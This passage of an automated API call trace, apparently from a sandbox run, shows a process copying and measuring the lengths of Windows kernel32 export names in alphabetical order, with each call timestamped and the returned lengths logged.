lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0118.010] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0118.010] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0118.010] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0118.010] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0118.010] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0118.010] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0118.010] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0118.010] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0118.010] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0118.010] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0118.011] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0118.011] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0118.011] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0118.011] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0118.011] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0118.011] lstrlenA (lpString="BACKUPREAD") returned 10 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0118.011] lstrlenA (lpString="BACKUPSEEK") returned 10 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0118.011] lstrlenA (lpString="BACKUPWRITE") returned 11 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0118.011] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0118.011] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0118.011] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0118.011] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0118.011] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0118.011] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0118.011] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0118.011] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0118.011] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0118.011] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0118.011] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0118.011] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0118.012] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0118.012] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0118.012] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0118.012] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0118.012] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0118.012] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0118.012] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0118.012] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0118.012] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0118.012] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0118.012] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0118.012] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0118.012] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0118.012] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0118.012] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0118.012] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0118.012] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0118.012] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0118.012] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0118.012] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0118.012] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0118.013] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0118.013] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0118.013] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0118.013] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0118.013] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0118.013] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0118.013] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0118.013] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0118.013] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0118.013] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0118.013] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0118.013] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0118.013] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0118.013] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0118.013] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0118.013] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0118.013] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0118.013] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0118.013] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0118.013] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0118.013] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0118.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0118.014] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0118.014] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0118.014] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0118.014] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0118.014] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0118.014] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0118.014] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0118.014] lstrlenA (lpString="BEEP") returned 4 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0118.014] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0118.014] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0118.014] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0118.014] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0118.014] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0118.014] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0118.014] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0118.014] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0118.014] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0118.014] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0118.014] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0118.014] lstrlenA (lpString="CANCELIO") returned 8 [0118.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0118.014] lstrlenA (lpString="CANCELIOEX") returned 10 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0118.015] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0118.015] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0118.015] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0118.015] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0118.015] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0118.015] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0118.015] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0118.015] lstrlenA (lpString="CHECKELEVATION") returned 14 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0118.015] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0118.015] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0118.015] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0118.015] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0118.015] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0118.015] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0118.015] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0118.015] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0118.015] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0118.015] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0118.015] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0118.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0118.016] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0118.016] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0118.016] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0118.016] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0118.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0118.016] lstrlenA 